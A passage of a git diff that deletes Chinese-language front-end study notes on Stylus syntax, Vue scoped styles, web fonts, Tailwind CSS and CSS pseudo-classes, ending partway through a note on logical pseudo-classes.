filter: progid:DXImageTransform.Microsoft.Alpha(Opacity=50); -} - -``` - -#### 父级引用 - -混合书写可以利用父级引用字符 `&`, 继承父业而不是自己筑巢。 - -例如,我们要用 `stripe(even, odd)` 创建一个条纹表格。`even` 和 `odd` 均提供了默认颜色值,每行也指定了 `background-color` 属性。我们可以在 `tr` 嵌套中使用 `&` 来引用 `tr`,以提供 `even` 颜色。 - -```stylus -stripe(even = #fff, odd = #eee) - tr - background-color odd - &.even - &:nth-child(even) - background-color even - -``` - -然后,利用混合书写,如下: - -```stylus -table - stripe() - td - padding 4px 10px - -table#users - stripe(#303030, #494848) - td - color white - -``` - -另外,`stripe()` 的定义无需父引用: - -```stylus -stripe(even = #fff, odd = #eee) - tr - background-color odd - tr.even - tr:nth-child(even) - background-color even - -``` - -如果你愿意,你可以把 `stripe()` 当作属性调用。 - -```stylus -stripe #fff #000 - -``` - -#### 混合书写中的混合书写 - -混合书写可以利用其它混合书写,建立在它们自己的属性和选择器上。 例如,下面创建内联 `comma-list()`(通过 `inline-list()`)以及逗号分隔的无序列表。 - -```stylus -inline-list() - li - display inline - -comma-list() - inline-list() - li - &:after - content ', ' - &:last-child:after - content '' - -ul - comma-list() - -``` - -渲染: - -```stylus -ul li:after { - content: ", "; -} -ul li:last-child:after { - content: ""; -} -ul li { - display: inline; -} - -``` - -### 函数 - -#### 函数 - -`Stylus` 强大之处就在于其内置的语言函数定义。其定义与混入(`mixins`)一致;却可以返回值。 - -#### 返回值 - -例如,两数值相加的方法 - -```stylus -add(a, b) - a + b - -body - padding add(10px, 5) - -``` - -渲染: - -```stylus -body { - padding: 15px; -} - -``` - -#### 默认参数 - -在 `Stylus` 中,可以设置默认参数。例如: - -```stylus -add(a, b = a) - a + b - -add(10, 5) // => 15 -add(10) // => 20 - -``` - -因为参数默认是赋值,我们可以使用函数调用作为默认值: - -```stylus -add(a, b = unit(a, px)) - a + b - -``` - -#### 函数体 - -可以把简单的 `add()` 方法更进一步。通过内置 `unit()` 把单位都变成 `px`, 因为赋值在每个参数上,因此可以无视单位换算。 - -```stylus -add(a, b = a) - a = unit(a, px) - b = unit(b, px) - a + b - -add(15%, 10deg) // => 25 - -``` - -#### 多个返回值 - -`Stylus` 的函数可以返回多个值,就像你给变量赋多个值一样。例如下面就是一个有效赋值: - -```stylus -sizes = 15px 10px - -sizes[0] // => 15px - -``` - -类似的,我们可以在函数中返回多个值: - -```stylus -sizes() - 15px 10px - -sizes()[0] // => 15px - -``` - -有个小小的例外就是返回值是标识符。例如,下面看上去像一个属性赋值给 `Stylus`(因为没有操作符)。 - -```stylus -swap(a, b) - b a - -``` - -为避免歧义,可以使用括号,或是 `return` 关键字。 - -```stylus -swap(a, b) - (b a) - -swap(a, b) - return b a - -``` - -#### 条件 - -假如,我们想要创建一个名为 `stringish()` 的函数,用来决定参数是否是字符串。检查 `val` 是否是字符串或缩进(类似字符)。如下,使用 `yes` 和 `no` 代替 `true` 和 `false`. - -```stylus -stringish(val) - if val is a 'string' or val is a 'ident' - yes - else - no - -``` - -使用: - -```stylus -stringish('yay') == yes // => true -stringish(yay) == yes // => true -stringish(0) == no // => true - -``` - -> 注意:`yes` 和 `no` 并不是布尔值。 - -另外一个例子: - -```stylus -compare(a, b) - if a > b - higher - else if a < b - lower - else - equal - -// 使用: -compare(5, 2) // => higher -compare(1, 5) // => lower -compare(10, 10) // => equal - -``` - -#### 别名 - -给函数起个别名,例如上面的 `add()` 添加别名plus(), 如下: - -```stylus -plus = add - -plus(1, 2) // => 3 - -``` - -#### 变量函数 - -可以把函数当作变量传递到新的函数中。例如,`invoke()` 接受函数作为参数,因此可以传递`add()` 以及 `sub()`. - -```stylus -invoke(a, b, fn) - fn(a, b) - -add(a, b) - a + b - -body - padding invoke(5, 10, add) - padding invoke(5, 10, sub) - -``` - -结果: - -```stylus -body { - padding: 15; - padding: -5; -} - -``` - -#### 参数 - -`arguments` 是所有函数体都有的局部变量,包含传递的所有参数。 - -例如: - -```stylus -sum() - n = 0 - for num in arguments - n = n + num - -sum(1,2,3,4,5) // => 15 - -``` - -#### 哈希示例 - -下面,我们定义 `get(hash, key)` 方法,用来返回 `key` 值或 `null`. 我们遍历每个键值对,如果键值匹配,返回对应的值。 - -```stylus -get(hash, key) - return pair[1] if pair[0] == key for pair in hash - -``` - -下面例子可以证明,语言函数模样的 `Stylus` 表达式具有更大的灵活性。 - -```stylus -hash = (one 1) (two 2) (three 3) -get(hash, two) // => 2 -get(hash, three) // => 3 -get(hash, something) // => null - -``` - -## 关键字参数 - -#### 关键字参数 - -`Stylus` 支持关键字参数,或 `kwargs`. 允许你根据相关参数名引用参数。 - -下面这些例子功能上都是一样的。但是,我们可以在列表中的任何地方放置关键字参数。其余不键入参数将适用于尚未得到满足的参数。 - -```stylus -body { - color: rgba(255, 200, 100, 0.5); - color: rgba(red: 255, green: 200, blue: 100, alpha: 0.5); - color: rgba(alpha: 0.5, blue: 100, red: 255, 200); - color: rgba(alpha: 0.5, blue: 100, 255, 200); -} - -``` - -等同于: - -```stylus -body { - color: rgba(255,200,100,0.5); - color: rgba(255,200,100,0.5); - color: rgba(255,200,100,0.5); - color: rgba(255,200,100,0.5); -} - -``` - -查看函数或混合书写中接受的参数,可以使用 `p()` 方法。 - -```stylus -p(rgba) - -``` - -生成: - -```stylus -inspect: rgba(red, green, blue, alpha) - -``` - -### 注释 - -#### 注释 - -`Stylus` 支持三种注释,单行注释,多行注释,以及多行缓冲注释。 - -#### 单行注释 - -跟 `JavaScript` 一样,双斜杠,`CSS` 中不输出。 - -```stylus -// 我是注释! -body - padding 5px // padding - -``` - -#### 多行注释 - -多行注释看起来有点像 `CSS` 的常规注释,它们只有在 `compress` 选项未启用的时候才会被输出。 - -```stylus -/* - * 给定数值合体 - */ - -``` - -#### 多行缓冲注释 - -跟多行注释类似,不同之处在于开始的时候,这里是 `/*!`. 这个相当于告诉 `Stylus` 压缩的时候这段无视直接输出。 - -```stylus -/*! - * 给定数值合体 - */ -``` - -## Stylus进阶用法 - -### 剩余参数 - -#### 剩余参数 - -`Stylus` 支持 `name...` 形式的其余参数。这些参数可以消化传递给混写或函数的参数们。这在处理浏览器私有属性,如 `-moz` 或 `-webkit` 的时候很管用。下面这个例子中,所有的参数 `(1px, 2px, ...)` 都被一个 `args` 参数给简单处理了: - -```stylus -box-shadow(args...) - -webkit-box-shadow args - -moz-box-shadow args - box-shadow args -#login - box-shadow 1px 2px 5px #eee - -``` - -生成为: - -```stylus -#login { - -webkit-box-shadow: 1px 2px 5px #eee; - -moz-box-shadow: 1px 2px 5px #eee; - box-shadow: 1px 2px 5px #eee; -} - -``` - -想指定特定的参数,如 `x-offset`,可以使用 `args[0]`, 或者,可能希望重新定义混入。 - -```stylus -box-shadow(offset-x, args...) - got-offset-x offset-x - -webkit-box-shadow offset-x args - -moz-box-shadow offset-x args - box-shadow offset-x args -#login - box-shadow 1px 2px 5px #eee - -``` - -生成为: - -```stylus -#login { - got-offset-x: 1px; - -webkit-box-shadow: 1px 2px 5px #eee; - -moz-box-shadow: 1px 2px 5px #eee; - box-shadow: 1px 2px 5px #eee; -} -``` - -#### 参数 - -`arguments` 变量可以实现表达式的精确传递,包括逗号等等。这可以弥补 `args...` 参数的一些不足,例子: - -```stylus -box-shadow(args...) - -webkit-box-shadow args - -moz-box-shadow args - box-shadow args -#login - box-shadow #ddd 1px 1px, #eee 2px 2px - -``` - -结果并非想要得到的: - -```stylus -#login { - -webkit-box-shadow: #ddd 1px 1px #eee 2px 2px; - -moz-box-shadow: #ddd 1px 1px #eee 2px 2px; - box-shadow: #ddd 1px 1px #eee 2px 2px; -} - -``` - -逗号被忽略了。现在使用 `arguments` 重新定义这个混合书写。 - -```stylus -box-shadow() - -webkit-box-shadow arguments - -moz-box-shadow arguments - box-shadow arguments -body - box-shadow #ddd 1px 1px, #eee 2px 2px - -``` - -得到想要的结果: - -```stylus -body { - -webkit-box-shadow: #ddd 1px 1px, #eee 2px 2px; - -moz-box-shadow: #ddd 1px 1px, #eee 2px 2px; - box-shadow: #ddd 1px 1px, #eee 2px 2px; -} - -``` - -### 条件 - -#### 条件 - -条件提供了语言的流控制,否则就是纯粹的静态语言。提供的条件有导入、混入、函数以及更多。 - -#### if / else if / else - -跟一般的语言一致, `if` 表达式满足 `(true)` 的时候执行后面语句块,否则,继续后面的 `else if` 或 `else`. - -下面这个例子,根据 `overload` 的条件,决定是使用 `padding` 还是 `margin`. - -```stylus -overload-padding = true - -if overload-padding - padding(y, x) - margin y x - -body - padding 5px 10px - -``` - -另外的例子: - -```stylus -box(x, y, margin = false) - padding y x - if margin - margin y x - -body - box(5px, 10px, true) - -``` - -另外的box()帮手: - -```stylus -box(x, y, margin-only = false) - if margin-only - margin y x - else - padding y x - -``` - -#### 除非(unless) - -熟悉 `Ruby` 程序语言的用户应该都知道 `unless` 条件,其基本上与 `if` 相反,本质上是 `(!(expr))`. - -下面这个例子中,如果 `disable-padding-override` 是 `undefined` 或 `false`, `padding` 将被干掉,显示 `margin` 代替之。但是,如果是 `true`, `padding` 将会如期继续输出 `padding 5px 10px`. - -```stylus -disable-padding-override = true - -unless disable-padding-override is defined and disable-padding-override - padding(x, y) - margin y x - -body - padding 5px 10px - -``` - -#### 后缀条件 - -`Stylus` 支持后缀条件,这就意味着 `if` 和 `unless` 可以当作操作符;当右边表达式为真的时候执行左边的操作对象。例如,我们定义 `negative()` 来执行一些基本的检查。下面我们使用块式条件: - -```stylus -negative(n) - unless n is a 'unit' - error('无效数值') - if n < 0 - yes - else - no - -``` - -接下来,利用后缀条件让我们的方法简洁。 - -```stylus -negative(n) - error('无效数值') unless n is a 'unit' - return yes if n < 0 - no - -``` - -当然,我们可以更进一步。如这个 `n < 0 ? yes : no` 可以用布尔代替:`n < 0`。后缀条件适用于大多数的单行语句。如,`@import`, `@charset`, 混合书写等。当然,下面所示的属性也是可以的: - -```stylus -pad(types = margin padding, n = 5px) - padding unit(n, px) if padding in types - margin unit(n, px) if margin in types -body - pad() -body - pad(margin) -body - apply-mixins = true - pad(padding, 10) if apply-mixins - -``` - -结果为: - -```stylus -body { - padding: 5px; - margin: 5px; -} -body { - margin: 5px; -} -body { - padding: 10px; -} - -``` - -### 迭代 - -#### 迭代 - -`Stylus` 允许你通过 `for/in` 对表达式进行迭代形式如下: - -```stylus -for [, ] in - -``` - -例如: - -```stylus -body - for num in 1 2 3 - foo num - -``` - -生成: - -```stylus -body { - foo: 1; - foo: 2; - foo: 3; -} - -``` - -下面这个例子演示了如何使用 ``: - -```stylus -body - fonts = Impact Arial sans-serif - for font, i in fonts - foo i font - -``` - -生成为: - -```stylus -body { - foo: 0 Impact; - foo: 1 Arial; - foo: 2 sans-serif; -} -``` diff --git "a/src/CSS/Vue scoped\345\261\236\346\200\247\347\232\204\347\224\250\351\200\224\345\222\214\345\267\245\344\275\234\345\216\237\347\220\206.md" "b/src/CSS/Vue scoped\345\261\236\346\200\247\347\232\204\347\224\250\351\200\224\345\222\214\345\267\245\344\275\234\345\216\237\347\220\206.md" deleted file mode 100644 index 71fff47d..00000000 --- "a/src/CSS/Vue scoped\345\261\236\346\200\247\347\232\204\347\224\250\351\200\224\345\222\214\345\267\245\344\275\234\345\216\237\347\220\206.md" +++ /dev/null @@ -1,181 +0,0 @@ ---- -date: 2021-04-24 -star: true -category: -- CSS -- 前端 ---- - -> 关于写公司项目的时候因为没有给组件的` - - -``` - -转换结果: - -```html - - - - -``` - -### 关于css作用域 - -之前一直很困扰css的作用域问题,即使是模块化编程下,在对应的模块的js中import css进来,这个css仍然是全局的。导致在css中需要加上对应模块的html的id/class 使用css选择器 保证css的作用域不会变成全局 -而被其它模块的css污染。 - -在vue中引入了scoped这个概念,scoped的设计思想就是让当前组件的样式不会修改到其它地方的样式,使用了data-v-hash的方式来使css有了它对应模块的标识,这样写css的时候不需要加太多额外的选择器,方便很多。 - -但是要注意scoped的作用域,因为权重的问题,如果是在子组件使用了scoped,那么在父组件中是不能直接修改子组件的样式的,需要在父组件中使用vue的深度作用选择器。 - -### scoped坑点 - -在覆盖iview组件样式的时候发现一个问题,就是无法覆盖组件原有的样式,最后在github的`issue`中找到了答案: 不要使用`scoped`属性。于是我查找了下关于`scoped`的文章。 - -我们假设把这种组件叫做模块私有组件,其他的未加scoped的叫做模块一般组件。通过查看DOM结构发现:vue通过在DOM结构以及css样式上加唯一不重复的标记,以保证唯一,达到样式私有化模块化的目的。 - -**`scoped`三条渲染规则:** - -1. 给HTML的DOM节点加一个不重复data属性(形如:`data-v-19fca230`)来表示他的唯一性 - -2. 在每句css选择器的末尾(编译后的生成的css语句)加一个当前组件的`data`属性选择器(如`[data-v-19fca230]`)来私有化样式 - -3. 如果组件内部包含有其他组件,只会给其他组件的最外层标签加上当前组件的data属性 - -## 混用本地和全局样式 - -你可以在一个组件中同时使用有 scoped 和非 scoped 样式: - -```html - - - - -``` - -### 子组件的根元素 - -使用 `scoped` 后,父组件的样式将不会渗透到子组件中。不过一个子组件的根节点会同时受其父组件的 scoped CSS 和子组件的 scoped CSS 的影响。这样设计是为了让父组件可以从布局的角度出发,调整其子组件根元素的样式。 - -### 深度作用选择器 - -如果你希望 `scoped` 样式中的一个选择器能够作用得“更深”,例如影响子组件,你可以使用 `>>>` 操作符: - -```html - - -``` - -上述代码将会编译成: - -```css -.a[data-v-f3f3eg9] .b { /* ... */ -} -``` - -有些像 Sass 之类的预处理器无法正确解析 `>>>`。这种情况下你可以使用 `/deep/` 或 `::v-deep` 操作符取而代之——两者都是 `>>>` 的别名,同样可以正常工作。 - -### 动态生成的内容 - -通过 `v-html` 创建的 DOM 内容不受 scoped 样式影响,但是你仍然可以通过深度作用选择器来为他们设置样式。 - -### 还有一些要留意 - -- **Scoped 样式不能代替 class**。考虑到浏览器渲染各种 CSS 选择器的方式,当 `p { color: red }` 是 scoped 时 (即与特性选择器组合使用时) 会慢很多倍。如果你使用 class 或者 id - 取而代之,比如 `.example { color: red }`,性能影响就会消除。 -- **在递归组件中小心使用后代选择器!** 对选择器 `.a .b` 中的 CSS 规则来说,如果匹配 `.a` 的元素包含一个递归子组件,则所有的子组件中的 `.b` 都将被这个规则匹配。 - -## **问题补充:** - -### 如果不使用`scoped,`如何解决样式全局污染? - -推荐使用`scoped`推动组件私有化,文章所提到的不使用仅出现在已有UI库的样式覆盖上(当然人家用了`scoped` 那就很难办了)。 - -首先,解决**组件样式全局污染**,也就是我们在这里不使用`scoped` 覆盖了样式,那么我们在其他地方调用该组件就会被覆盖。那么我们在使用组件的时候对组件给一个**类名** 或者其他甄别属性(id),覆盖样式就针对该类名进行重写样式。 - -其次,解决**其他样式全局污染**,如果我们通过: - -```vue - - -``` - -引进样式,那么不使用`scoped` ,`"./test.less"` 中的其他类名样式可能会污染全局,我这里用一个比较笨的方法处理:在模板中使用两次`` 标签: - -```vue - - - -``` - -这样既覆盖了样式,其他样式不会被覆盖到全局,感兴趣的同学可以自己试一试。(注意两个标签的顺序)。 - -官网 [vue-loader](https://vue-loader.vuejs.org/zh/guide/scoped-css.html) 中提到每个vue模板中可以有多个`` -标签,所以上面的写法是没有问题的。 diff --git "a/src/CSS/Web \345\256\211\345\205\250\345\255\227\344\275\223\345\222\214\347\275\221\347\273\234\345\255\227\344\275\223 (Web Fonts).md" "b/src/CSS/Web \345\256\211\345\205\250\345\255\227\344\275\223\345\222\214\347\275\221\347\273\234\345\255\227\344\275\223 (Web Fonts).md" deleted file mode 100644 index 965c480e..00000000 --- "a/src/CSS/Web \345\256\211\345\205\250\345\255\227\344\275\223\345\222\214\347\275\221\347\273\234\345\255\227\344\275\223 (Web Fonts).md" +++ /dev/null @@ -1,93 +0,0 @@ -## 什么是Web安全字体 - -网络安全字体是由许多操作系统预先安装的字体。虽然不是所有的系统都安装了相同的字体,但你可以使用网络安全字体堆栈来选择几种看起来类似的字体,并且安装在你想支持的各种系统上。如果你想使用预装字体以外的字体,从CSS3开始,你可以使用网络字体[Web fonts - Learn web development | MDN](https://developer.mozilla.org/en-US/docs/Learn/CSS/Styling_text/Web_fonts)。 - -> Web safe fonts are fonts that are pre-installed by many operating systems. While not all systems have the same fonts installed, you can use a web safe font stack to choose several fonts that look similar, and are installed on the various systems that you want to support. If you want to use fonts other than ones pre-installed, as of CSS3, you can use Web Fonts. - -- 英文Web安全字体合集 [CSS Font Stack: Web Safe and Web Font Family with HTML and CSS code.](https://www.cssfontstack.com/) - -### 没有网页安全中文字体 - -相比通常只有几十 KB 的英文字体,网页加载一个 GB2312 的中文字体至少要增加 2 MB 以上加载量,而大部分中文字体都在 5 MB 以上。所以网络字体在国内没有流行起来,还是要像英文网页好多年前一样,用网页安全字体。 - -下表可以看到各系统预置的中文字体——各系统根本没有相同的字体,即没有网页安全中文字体! - -| 系统 | 预置中文字体 | -| :------- | ------------------------------------------------------------ | -| Mac OS X | 华康苹方 Pingfang(10.11 开始) 冬青黑体: Hiragino Sans GB (10.6 开始) 华文细黑:STHeiti Light (又名STXihei) 华文黑体:STHeiti 华文楷体:STKaiti 华文宋体:STSong 华文仿宋:STFangsong | -| Windows | 微软雅黑: Microsoft YaHei(Windows 7开始) 黑体: SimHei 宋体: SimSun 新宋体: NSimSun 仿宋: FangSong 楷体: KaiTi 仿宋GB2312: FangSong_GB2312 楷体GB2312: KaiTi_GB2312 | -| Android | Droid Sans Fallback | -| iOS | 苹方(iOS 9开始) 黑体:Heiti SC (iOS 8) 华文黑体:STHeiti(iOS 7.0 及以下) | - -## 什么是网络字体 - -与网络安全字体不同,网络字体没有预先安装在用户的系统中。这些字体是由用户的浏览器在渲染网页时下载的,然后应用于你的文本。使用网络字体的主要缺点是它会减慢你网站的加载时间。在旧的浏览器中,对CSS3的支持也很有限,而使用网络字体是需要CSS3的。后面的限制可以通过使用字体堆栈来弥补,类似于网络安全字体堆栈,但包括一个网络字体作为堆栈的第一个字体。如果浏览器无法使用网络字体,它就会退回到堆栈中的网络安全字体。 - -> Unlike web safe fonts, web fonts are not pre-installed on the user's system. The fonts are downloaded by the user's browser while rendering the webpage, and then applied to your text. The main drawbacks of using web fonts is it will slow your site's load time. There is also limited support for CSS3 in older browsers which is required to use web fonts. The later limitation can be remedied by using a font stack, similar to the web safe font stacks, but including a web font as the first font of the stack. If a browser is unable to use the web font it will fall back on the web safe fonts in the stack. - -Web 字体是一种 CSS 特性,允许我们指定在访问时随您的网站一起下载的字体文件,这意味着任何支持 Web 字体的浏览器都可以使用指定的字体。所需的语法如下所示: - -首先,在 CSS 的开始处有一个[`@font-face`](https://developer.mozilla.org/zh-CN/docs/Web/CSS/@font-face)块,它指定要下载的字体文件: - -```css -@font-face { - font-family: "myFont"; - src: url("myFont.ttf"); -} -``` - -在这个下面,你可以使用 @font-face 中指定的字体种类名称来将你的定制字体应用到你喜欢的任何东西上,比如说: - -```css -html { - font-family: "myFont", "Bitstream Vera Serif", serif; -} -``` - -关于网页字体有两件重要的事情要注意: - -1. 浏览器支持不同的字体格式,因此需要多种字体格式以获得良好的跨浏览器支持。例如,大多数现代浏览器都支持 WOFF / WOFF2(Web Open Font Format versions 1 and 2,Web 开放字体格式版本 1 和 2),它是最有效的格式,但是旧版本 IE 只支持 EOT (Embedded Open Type,嵌入式开放类型) 的字体,你可能需要包括一个 SVG 版本的字体支持旧版本的 iPhone 和 Android 浏览器。 -2. 字体一般都不能自由使用。我们必须为他们付费,或者遵循其他许可条件,比如在代码中 (或者在站点上) 提供字体创建者标识。你不应该在没有适当的授权的情况下偷窃字体。 - -## 字体类型 - 常见字体族 - -### serif 衬线字体族 - -serif 是一种具有装饰性小横线的字体族,这些小横线被称为“衬线”。Serif 字体通常被用于印刷材料中,如书籍、杂志、报纸等,因为它们的衬线可以增强字体的可读性和易读性。常见的 Serif 字体包括 Times New Roman、Georgia、和 Garamond。 - -### sans-serif 无衬线字体族 - -sans-serif 是一种不带装饰性小横线的字体族。这种字体通常被用于数字屏幕上,如电脑、手机和电视。与 Serif 字体相比,Sans-serif 字体看起来更现代、更简洁。常见的 Sans-serif 字体包括 Arial、Helvetica 和 Verdana。 - -### monospace 等宽字体族 - -monospace 是一种字母宽度相等的字体族,每个字符都占据相同的宽度。Monospace 字体通常用于计算机编程、打印机输出和其他需要对齐文本的应用程序。常见的 Monospace 字体包括 Courier、Consolas 和 Monaco。 - -### cursive 手写字体族 - -cursive 是一种仿效手写的字体族,具有曲线、流畅的线条。这种字体通常被用于设计师、艺术家和文具爱好者等需要体现个性和艺术感的场合。常见的 Cursive 字体包括 Brush Script、Lucida Calligraphy 和 Comic Sans。 - -### fantasy 梦幻字体族 - -fantasy 是一种具有艺术性和独特性的字体族,经常用于海报、书籍封面和广告等场合。这种字体的外形往往是有趣、古怪、奇特或装饰性的,常常包含有装饰性的花纹或图案。常见的 Fantasy 字体包括 Harrington、Viner Hand ITC 和 Zapfino。 - -### Script 手写字体族 - -Script 字体族是一类字体,通常被设计用于模拟手写或手绘效果,以及营造一种自然、随意的艺术氛围。这类字体通常具有不规则的笔画、流畅的曲线和变化多端的字母间距,使得文本看起来像是手写而非打印。Script 字体族的应用领域非常广泛,例如印刷品设计、标志设计、广告设计等。常见的 Script 字体有 Brush Script、Lobster、Pacifico、Vibur 等。 - -## 总结 - -为了确保中文字符在不同计算机和浏览器上的正确显示,网页设计or开发者可以考虑: - -1. 使用 Web 服务商提供的字体库:像 Google Fonts、Adobe Fonts 等服务商提供了很多中英文字体库,这些字体可以被网页直接引用,无需用户安装字体即可正常显示。 -2. 使用图像或矢量图形:将中文字符转换为图像或矢量图形,并将其嵌入到网页中。虽然这种方法可以确保字符在不同浏览器和计算机上的正确显示,但其缺点是无法进行文本搜索和复制粘贴等操作。 -3. 引用多个字体:如果设计者希望在网页中使用多种中文字体,可以在 CSS 样式表中指定多个备选字体。例如:font-family: "宋体", "SimSun", "Microsoft YaHei", "微软雅黑", sans-serif; - -需要注意的是,尽管某些字体在设计中看起来很不错,但并不一定适合用作 Web 安全字体。设计or开发者需要权衡字体的外观和可用性,选择最适合自己需求的中文 Web 安全字体。 - -## 参考 - -- [Web fonts - Learn web development | MDN](https://developer.mozilla.org/en-US/docs/Learn/CSS/Styling_text/Web_fonts) -- [CSS Font Stack: Web Safe and Web Font Family with HTML and CSS code.](https://www.cssfontstack.com/) -- [中文网页字体设置 | inDev. Journal](https://frankindev.com/2018/03/01/chinese-fonts-in-web/) -- [serif,sans-serif,monospace,cursive和fantasy - 腾讯云开发者社区-腾讯云](https://cloud.tencent.com/developer/article/1444565) diff --git "a/src/CSS/tailwindcss/Tailwind CSS \346\240\270\345\277\203\346\246\202\345\277\265\357\274\232\345\212\237\350\203\275\347\261\273\344\274\230\345\205\210.md" "b/src/CSS/tailwindcss/Tailwind CSS \346\240\270\345\277\203\346\246\202\345\277\265\357\274\232\345\212\237\350\203\275\347\261\273\344\274\230\345\205\210.md" deleted file mode 100644 index 6c881956..00000000 --- "a/src/CSS/tailwindcss/Tailwind CSS \346\240\270\345\277\203\346\246\202\345\277\265\357\274\232\345\212\237\350\203\275\347\261\273\344\274\230\345\205\210.md" +++ /dev/null @@ -1,97 +0,0 @@ -# Tailwind CSS 核心概念:功能类优先 - -在一组受约束的原始功能类的基础上构建复杂的组件,Tailwind CSS内置了很多类名,直接放在class属性中,以代替CSS。。 - -方便起见,我们直接使用官网的讲解案例。 - -## 案例说明 - -传统情况下,当我们需要在网页上设置样式时,都需要编写专门的 CSS 代码,以结构+表现的形式,而且我们还通常会使用预处理语言,例如SCSS,Less等等,而Tailwind的思路简单来说就是将其变成长长的class类名。 - -**使用传统方式时,定制的设计需要定制的 CSS:** - -比如实现以下的小卡片 - -![image-20220801175009372](https://cdn.yihuiblog.top/images/202208011750577.png) - -```html -
-
- -
-
-

ChitChat

-

You have a new message!

-
-
- - -``` - -使用 Tailwind,则可以通过直接在 HTML 中应用预先存在的类来设置元素的样式,不需要再去设计CSS样式,命名和层级。 - -**而使用功能类构建自定义设计而无需编写 CSS:** - -```html -
-
- ChitChat Logo -
-
-
ChitChat
-

You have a new message!

-
-
-``` - -## Tailwind 展现出的优势 - -- **不需要为了给类命名而浪费精力**。 不需要仅仅为了设置一些样式而额外添加一些像 `sidebar-inner-wrapper` 这样冗长的类名,不必再为了一个 flex 容器的完美抽象命名而倍受折磨。 -- **不会增加的CSS代码量。** 使用传统方法,每次添加新功能时 CSS 文件都会变大。使用功能类,所有内容都是可重用的,因此我们几乎不需要编写新的CSS。 -- **更改会更安全**。 CSS 是全局性的,我们永远不知道当进行更改时会破坏掉什么,甚至影响到别的业务样式。但是我们的 HTML 中的类是本地的(HTML的UI普遍组件化、模块化的),不必担心影响到不可预知的问题。 - -## 与内联样式的区别 - -- **基于约束的设计**。使用内联样式,每个值都是一个数字, 而功能类是从预定义的设计系统中**选择样式**,这使得构建统一的UI变得更加容易。 -- **适合响应式的设计。**在内联样式中不能使用媒体查询, 但可以使用 Tailwind 的响应式功能类非常容易的构建完全响应式的界面。 -- **支持hover, focus, 以及其它伪类状态。**内联样式无法设置 hover 或者 focus 这样的状态, 但 Tailwind 的状态变体可以通过使用功能类非常容易地为这些状态设置样式。 - -## 可维护性 - -在使用功能优先的方式时,最大的可维护性问题是管理通用的可重复使用的功能类组合。官方文档说明则是认为,通过[提取组件](https://www.tailwindcss.com/docs/extracting-components)(通常做为模板片断或者组件),可以轻松解决此问题,类比就是我们在Vue,React框架中经常进行的组件的拆分和复用。 - -除此之外,维护功能优先的 CSS 项目比维护大型 CSS 代码库要容易得多,因为 HTML 比 CSS 维护容易得多(更加直观)。 - -但是我觉得这边可能也是值得讨论的地方,在没有更加优秀统一的CSS约定(包括使用预处理语言)的团队当中,这样的维护成本、开发和学习成本是很低的,而且当新员工刚刚接手项目的适合会很直观,不用花大量时间阅读CSS代码。但是,也有同学反应这样使得我们的HTML文件变得巨大,而且单行很长,不易阅读。就我个人而言,对于React这样本身将标记和逻辑放在一起,再辅以tailwind的功能类组合,确实有点一段就代码就将结构、表现和逻辑一网打尽的感觉。 - diff --git "a/src/CSS/\344\274\252\347\261\273\344\270\216\344\274\252\345\205\203\347\264\240\347\232\204\345\214\272\345\210\253.md" "b/src/CSS/\344\274\252\347\261\273\344\270\216\344\274\252\345\205\203\347\264\240\347\232\204\345\214\272\345\210\253.md" deleted file mode 100644 index 5e600ba5..00000000 --- "a/src/CSS/\344\274\252\347\261\273\344\270\216\344\274\252\345\205\203\347\264\240\347\232\204\345\214\272\345\210\253.md" +++ /dev/null @@ -1,66 +0,0 @@ ---- -date: 2021-04-24 -category: -- CSS -- 前端 ---- - -# 伪类与伪元素的区别 - -### **伪类(pseudo-classes)** - -其核心就是用来选择那些不能够被普通选择器选择的文档之外的元素,比如:hover。 - -### **伪元素(Pseudo-elements)** - -其核心就是需要创建通常不存在于文档中的元素,比如::before。 - -### **伪类与伪元素的区别** - -- 表示方法 - - CSS2 中伪类、伪元素都是以单冒号`:`表示,CSS2.1 后规定伪类用单冒号表示,伪元素用双冒号`::`表示,浏览器同样接受 CSS2 时代已经存在的伪元素(:before, :after, :first-line, :first-letter 等)的单冒号写法。对于 CSS2 之后所有新增的伪元素(如::selection),应该采用双冒号的写法。但是因为兼容性问题,大部分还是用的单冒号。 - -- 定义不同 - - 伪类即假的类,通常可以添加类来达到效果,伪元素即假元素,需要通过添加元素才能达到效果。来看下面的例子 - - **例 1:将一行字符串的首字母变成红色** - - 现在不用伪元素应该如何实现?用 CSS slector 选择?想了一晚上也没想出来,既然没法选择也就没法添加一个类来改变首字母的颜色。 - - ```html -

I am snow

- ``` - - 添加元素试试,如下,创建一个元素 span 将首字母包裹起来,进而改变其颜色,成功了。这里,关键点在于我们创建了新的元素达到了`::first-letter`的作用,且不能通过添加其他类来实现这一效果,因此将`::first-letter`叫做伪元素而不是伪类。 - - ```html -

I am snow

- ``` - - **例 2: 如下要将 I am snow 这句话变为红色** - - 很简单用`:first-child`,同样添加一个类试试,显然很容易达到同样效果,我们并没有创建新的元素只是添加了一个类`.red-line`,因此将`:first-child`叫做伪类而不是伪元素,尽管它和`::first-letter`在语义上十分相似。 - - ```html - div:first-child { - color: red; - } - 或 - .red-line { - color: red; - } - -
-

I am snow

-
- ``` - -### **结论** - -- 伪类和伪元素都是用来表示文档树以外的"元素"。 -- 伪类和伪元素分别用单冒号`:`和双冒号`::`来表示。 -- 伪类和伪元素的区别,最关键的点在于如果没有伪元素(或伪类),是否需要添加元素才能达到目的,如果是则是伪元素,反之则是伪类。 - -关于常用的伪类与伪元素选择器可以查看[CSS选择器](https://juejin.cn/post/6844903807386648583)一文。 diff --git "a/src/CSS/\351\200\273\350\276\221\347\273\204\345\220\210\344\274\252\347\261\273.md" "b/src/CSS/\351\200\273\350\276\221\347\273\204\345\220\210\344\274\252\347\261\273.md" deleted file mode 100644 index 63ec8e4e..00000000 --- "a/src/CSS/\351\200\273\350\276\221\347\273\204\345\220\210\344\274\252\347\261\273.md" +++ /dev/null @@ -1,162 +0,0 @@ -# 逻辑组合伪类 :not() :is :where :has - -本文将介绍4个逻辑组合伪类,分别是`:not()` `:is` `:where` `:has` ,这四个伪类的自身优先级为0,这与其他伪类相同,但处理时是将其和括号里的参数作为一个整体计算优先级,这就导致了实际表现出的优先级由参数决定(除了`:where()` 的优先级总是为 0)。 - -目前这四位目前都得到了大多数浏览器的广泛支持,同时非常实用,务必掌握哦~ - -## 否定伪类 :not() - -`:not()` 伪类用于否定选择器,可以接受一个或多个选择器作为参数,如果元素不匹配参数中的任何一个选择器,则匹配该伪类,它也被称为反选伪类(negation pseudo-class)。 - -1. `:not()` 伪类优先级是0,即本身没有任何优先级,其优先级由括号内表达式决定 - -```css -:not(li) {} -``` - - 其优先级就是 `li` 选择器的优先级。 - -2. 